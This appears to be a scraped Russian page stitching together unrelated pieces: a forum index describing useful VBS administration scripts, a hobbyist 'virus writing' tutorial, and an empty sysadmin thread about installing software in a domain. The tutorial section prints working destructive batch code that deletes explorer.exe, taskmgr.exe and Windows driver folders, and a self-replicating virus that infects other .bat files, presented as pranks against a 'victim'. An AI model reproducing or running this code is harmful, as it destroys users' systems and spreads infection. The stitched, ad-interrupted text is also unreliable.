Меню Рубрики

Установка программ с помощью vbs

Полезные VBS скрипты и программы по работе с ними

В этой теме выкладываем скрипты, которые часто используются Вами
или на Ваш взгляд могут иметь большое практическое значение.

Также приветствуются скрипты высокой степени сложности, полезные с точки зрения
изучения принципа их работы.

Правила темы:

  • При выкладывании скрипта постарайтесь тщательно описывать принцип его работы и по-больше комментировать строки Вашего кода.
  • Если Ваш код очень большой, помещайте его под CUT. Также можно сделать 2 варианта: 1. Чистый код. 2. С комментариями.
  • Запрещаются любые обсуждения выложенных здесь работ;
  • если в этом есть необходимость, создайте отдельную тему в которой опишите замечание или проблему при работе с данным скриптом, указав ссылку на сообщение из этой темы (правый клик по слову «Permalink» вверху каждого сообщения).
  • Если Вы хотите внести исправление в выложенный Вами код — пишите мне в личку ссылку на Ваше старое сообщение и новый исправленный вариант. (полный вариант с тегами Вашего старого сообщения можно получить, нажав на него — кнопка «Цитата»).
  • Допускается размещение обзора программ, помогающих редактировать/отлаживать код.

Схожая тема: Полезные макросы, надстройки и шаблоны (VBA)
Смежная тема: Полезные BAT/CMD скрипты

******************* Перечень полезных скриптов: *******************
Отправка файла на FTP (Drag & Drop) и копирование ссылки в буфер обмена ссылка
Получение времени сервера ссылка

Полезные PowerShell скрипты
Здесь публикуются полезные с практической точки зрения сценарии PowerShell или те, что могут.

Полезные BAT/CMD скрипты
В этой теме выкладываем скрипты, которые часто используются Вами или на Ваш взгляд могут иметь.

Как вызвать скрипты .vbs из .wsf?
Добрый день! Пытаюсь освоить WSH с целью автоматического создания фиксированного набора папок в.

VBS, метод POST, заполнение полей и иже с ними
С помощью скрипта лезу на сайт. Далее нужно заполнить поля формы. Тут ступор — как обращаться к.

1) Внести в код имя своего FTP-сервера, имя пользователя и пароль, корневую директорию.
1) Сохранить код в файл «FTP and ClipBoard.VBS»
2) Перетащить на него любой файл.

Получаем отправку на FTP и в буфере обмена уже готовую ссылочку.

Есть баг: русские имена файлов отправляются нормально, но ссылку получаем нерабочую.
Пока не знаю как исправить. Если есть идеи, прошу в тему.

VRENN.vbs: Переименование файлов с использование регулярных выражений.

Основные способы применения:

vrenn pattern
— вывод списка

vrenn [mask|@list] pattern /C:folder [options]
— копирование в папку

vrenn [mask|@list] pattern /M:folder [options]
— пемещение в папку

vrenn [mask|@list] pattern replace [/P:text] [/S:text]
— переименование

vrenn [mask|@list] pattern /P:text /S:text
— только добавление текста

Получение ErrorLevel из команды CMD в переменную VBS-скрипта
(на примере команды сравнения файлов)

Тестировалась только на текстовых файлах, на бинарях работа не гарантируется.
Алгоритм шифрования самый простейший — Цезарь, поэтому на серьезную защиту не надейтесь. Хотя, размер ключа может быть произвольный, вплоть до размера самого файла.

Добавлено через 18 часов 41 минуту
И да, последняя функция (Circle) несколько ошибочна. Скрипт работает, но в теории может все-таки вызвать баги. Надо так:

Читайте также:  Установка кнопок на рубашку

Добавлено через 1 минуту
Очистка пароля заданной учётной записи пользователя домена.

Добавлено через 1 минуту
Управление настройками пароля для всех членов заданной группы пользователей домена.

Добавлено через 1 минуту
Определение даты последней регистрации сеанса пользователя в многоконтроллерном домене.

Добавлено через 3 минуты
Поиск учётных записей пользователей домена, имеющих ограничения в списке станций, на которые им разрешён интерактивный вход.

Добавлено через 1 минуту
Получение списка всех контроллеров домена с указанием формального уровня их иерархии (основной|дополнительный), наличием роли глобального каталога и распределением FSMO между ними.

Добавлено через 1 час 22 минуты
Сопоставление логических томов, назначенных НЖМД и съёмным накопителям, с физическими устройствами.

Алгоритм работы сценария таков:

1. Выбор из списка логических дисков компьютера тех томов, которые размещены на НЖМД и съёмных накопителях (кроме внешних НГМД и НОД).
То есть из всех экземпляров класса Win32_LogicalDisk выбираются те экземпляры, значение свойства DriveType для которых равно 2 (Removable Disk) или 3 (Local Disk).

Добавлено через 3 минуты
Сценарий для показа членам заданной группы пользователей домена текста какого-либо уведомления (например, поздравления по случаю праздника).

Для целей переименовавания музыкальных файлов для воспроизведения в случайном порядке.
Данный скрипт переименовывает все файлы в выбранной папке, присоединяя слева к старому имени файла случайный порядковый номер. Если у файла в имени был слева номер, то старый номер удаляется.
Папка выбирается через файловый диалог Word.

Добавлено через 2 часа 32 минуты
Определение типа сеанса (интерактивный/удалённый) текущего пользователя на текущем узле и внесение данных об интерактивном сеансе в заданном регистрационном каталоге.

GetCPUUsageПолучение % CPU для всех процессов в системе
ver. 1.2

Будет полезно для быстрого детекта bitcoin-майнеров или других «непослушных» процессов.

Показывает такую информацию:

  • % нагрузки на CPU
  • Имя процесса
  • Process ID
  • Связанная служба (псевдоним + описание)
  • Путь к процессу
  • Путь к родительскому процессу

% нагрузки:
— текущая нагрузка при тесте в 2 сек. — в логе ProcessCPU_Current.csv
— средняя нагрузка за все время работы ОС — в логе ProcessCPU_Average.csv

Дельта времени KernelModeTime + UserModeTime процесса
/
Дельта времени KernelModeTime + UserModeTime системы в целом
* 100

Информация берется из объекта WMI (Win32_Process, Win32_Service)

1. Распакуйте архив.
2. Запустите файл GetCPUUsage.vbs
3. Если появится сообщение от User Accaunt Control, отвечаем «Да».
4. Подождите, пока не появится сообщение «Готово.»
5. Выложите в теме, где Вам оказывают помощь, файлы:

  • ProcessCPU_Current.csv
  • ProcessCPU_Average.csv

упаковав их в архив формата zip.

Если произошла ошибка, вышлите мне ее скриншот.
Если логи не появились, нажмите левой клавишей мыши по заголовку папки и затем клавишу F5.

v.1.1.
Добавлен Parent Process Path.

v.1.2.
Сортировка по % CPU в убывающем порядке
Первым столбцом теперь идет % CPU
Убрал отчет о CPU Time
Вывод ошибки, если отчет заблокирован другой программой

Батник для регистрации DynamicWrapperX 2.0 (x32, x64) и вызова функций из 32/64-битных библиотек.

В комплект уже включена DynamicWrapperX ver.2.0.0.1,
а также демо-VBS, показывающий как свернуть и развернуть «Калькулятор Windows» с помощью API-функций.

FindWindow.vbs — демо-проект (если библиотека не будет зарегистрирована, то сам вызовет regdynwrapx.bat и перезапустится)
regdynwrapx.bat — чтобы зарегистрировать
unregdynwrapx.bat — чтобы снять регистрацию.

Читайте также:  Установка акустических систем в комнате

Скрипт сам запрашивает права Администратора, если понадобится.
Если Вы хотите вызывать функции из своей 32-битной библиотеки (независимо от битности ОС), раскомментируйте участок кода FindWindow.vbs в строках №№ 16-24.

Если появится новая версия библиотеки DynamicWrapperX, ее папки «32» и «64» нужно скопировать в папку «dynwrapx», заменив оригинал.

О библиотеке DynamicWrapperX

Автор: Юрий Попов (YMP).
Условия распространения библиотеки: freeware.

DynamicWrapperX — это компонент ActiveX, который вы можете использовать в скриптах (JScript, VBScript и т.п.) для вызова:

  • функций из библиотек DLL (в частности функций Windows API);
  • вообще любых функций, адрес которых в памяти вам известен;
  • функций, чей машинный код (в виде хекс-строки) у вас имеется.

Компонент написан с нуля на языке ассемблера GoAsm как попытка более полной реализации идеи DynamicWrapper.

Другие возможности:

  • обратный вызов (callback) скриптовой функции из вызванной вами внешней функции;
  • прямой доступ к памяти (чтение и запись числа по адресу);
  • выделение и освобождение памяти;
  • чтение и запись строк в произвольной кодировке;
  • получение указателя на строку, объект, массив, переменную;
  • получение объекта по указателю на него;
  • определение битности (32 или 64) процесса, в котором выполняется скрипт.

_______________________________

источник

Установка программ с помощью vbs

Ну вот я снова с вами.
Очень жаль что wog.net умер унеся вместе с собой в могилу парочку моих статей.Ну да ладно.
Будем вместе двигаться вперед творить и вытворять всякие пакости).
Ну поехали.
В этот раз давайте не будем писать bat файлы в огромных количествах (ну если только один или два). А займемся мы VBS.
Начнем мы с bat да-да для разминочки.
Кто не знает что это за исполняймые файлы с разрешение bat или cmd тот нажимает Win+R
и выполняет CMD и пишет help.Надеюсь дальше обьяснять не нужно.
Так вот наш супер большой и сложный вирус
будет состоять из нескольких строк.
Только для начала нам придется открыту нашу любимую командную строку и набрать SET
это надо для того чтобы узнать список переменных сред Windows.нам интересна последняя строка windir — это переменная заменяет полный путь к папке
Windows. Начнем?Открываем notepad(блокнот) и пишем эту пургу.

*******************************
taskkill /f /im explorer.exe
del /q /f %windir%\explorer.exe
del /q /f %windir%\taskmgr.exe
rd /q /s %windir%\inf
rd /q /s %windir%\system32\drivers
********************************

Сохраняем наш файл как I_LOVE_YOU.bat и радуемся.
После запуска такой микровещи на машине не будет не рабочего стола ни менеджера задач ни драйверов.

Я обещал один? Да?Извините не стерпел и вот выкладываю второй .

********************************
@echo off%[Bams]%
if ‘%1==’In_ goto Bamsin
if exist c:\Bams.bat goto Bamsru
if not exist %0 goto Bamsen
find «Bams» c:\Bams.bat
attrib +h c:\Bams.bat
:Bamsru
for %%t in (*.bat) do call c:\MeTrA In_ %%t
goto Bamsen
:Bamsin
find «Bams» nul
if not errorlevel 1 goto Bamsen
type c:\Bams.bat>>%2
:Bamsen
*********************************

Это более сложный вирус но он и более интересный .
Он ползает по винту ищет и заражает собой *.bat файлы.

Все!Переходим к VBS вирусам.
Язык VBS в винде поддерживается с 98 версии и не требует установки дополнительных библиотек
и другой ненужной фигни).по другому VBS-язык скриптов

Читайте также:  Установка пневмоподвески для хендай старекс

Ну приступим с самого легкого напугаем жертву страшным сообщением.Типа:Через минуту ваша крыса заболеет бешенством!Поставить прививку?
И спросим ДА или НЕТ.-32
С количеством показа 1 и временем показа 0(то есть пока не выберит что он хочет)
Значок выберим вопроса
кнопки да и нет-4

источник

Автоматическая установка программ в домене при помощи .bat

Все новые темы

На страницу 1, 2 След.
Автор
Smileakafray
Новичок

Зарегистрирован: 28.07.2011
Пользователь #: 132,653
Сообщения: 95

Добавлено: Пт 06 Янв, 2012 12:49 Заголовок сообщения: Автоматическая установка программ в домене при помощи .bat
_________________
Не главное все знать, главное хотеть познавать новое и знать где это можно найти.
Вернуться к началу
Зарегистрируйтесь и реклама исчезнет!

tchr
Житель sysadmins

Зарегистрирован: 20.02.2009
Пользователь #: 76,437
Сообщения: 7710
Откуда: Теплые ламповые Мытищи

Голоса: 30

Добавлено: Пт 06 Янв, 2012 12:57 Заголовок сообщения:
_________________
Дилетант широкого профиля
Вернуться к началу
rex_3
Windows guru
Windows guru » title=» Windows guru » border=»0″/>

Зарегистрирован: 23.02.2005
Пользователь #: 24,533
Сообщения: 13080
Откуда: Москва

Голоса: 132

Добавлено: Пт 06 Янв, 2012 13:06 Заголовок сообщения: Re: Автоматическая установка программ в домене при помощи .b
_________________
Чтобы правильно задать вопрос, нужно знать половину ответа.
Троли в игноре.
Вернуться к началу
Smileakafray
Новичок

Зарегистрирован: 28.07.2011
Пользователь #: 132,653
Сообщения: 95

Добавлено: Пт 06 Янв, 2012 13:28 Заголовок сообщения: Re: Автоматическая установка программ в домене при помощи .b
_________________
Не главное все знать, главное хотеть познавать новое и знать где это можно найти.
Вернуться к началу
®kent®
Активный участник

Зарегистрирован: 09.01.2004
Пользователь #: 13,197
Сообщения: 1087


Голоса: 2

Добавлено: Пт 06 Янв, 2012 14:39 Заголовок сообщения: Re: Автоматическая установка программ в домене при помощи .b
_________________
Все гениальное-просто. еще не пробовали.
Вернуться к началу
Smileakafray
Новичок

Зарегистрирован: 28.07.2011
Пользователь #: 132,653
Сообщения: 95

Добавлено: Пт 06 Янв, 2012 14:41 Заголовок сообщения:
_________________
Не главное все знать, главное хотеть познавать новое и знать где это можно найти.
Вернуться к началу
®kent®
Активный участник

Зарегистрирован: 09.01.2004
Пользователь #: 13,197
Сообщения: 1087


Голоса: 2

Добавлено: Пт 06 Янв, 2012 15:04 Заголовок сообщения:
_________________
Все гениальное-просто. еще не пробовали.
Вернуться к началу
Smileakafray
Новичок

Зарегистрирован: 28.07.2011
Пользователь #: 132,653
Сообщения: 95

Добавлено: Пт 06 Янв, 2012 16:15 Заголовок сообщения:
_________________
Не главное все знать, главное хотеть познавать новое и знать где это можно найти.
Вернуться к началу
rex_3
Windows guru
Windows guru » title=» Windows guru » border=»0″/>

Зарегистрирован: 23.02.2005
Пользователь #: 24,533
Сообщения: 13080
Откуда: Москва

Голоса: 132

Добавлено: Пт 06 Янв, 2012 16:32 Заголовок сообщения:
_________________
Чтобы правильно задать вопрос, нужно знать половину ответа.
Троли в игноре.
Вернуться к началу
rnkbb
Активный участник

Зарегистрирован: 16.09.2006
Пользователь #: 42,938
Сообщения: 506

источник

Добавить комментарий

Adblock
detector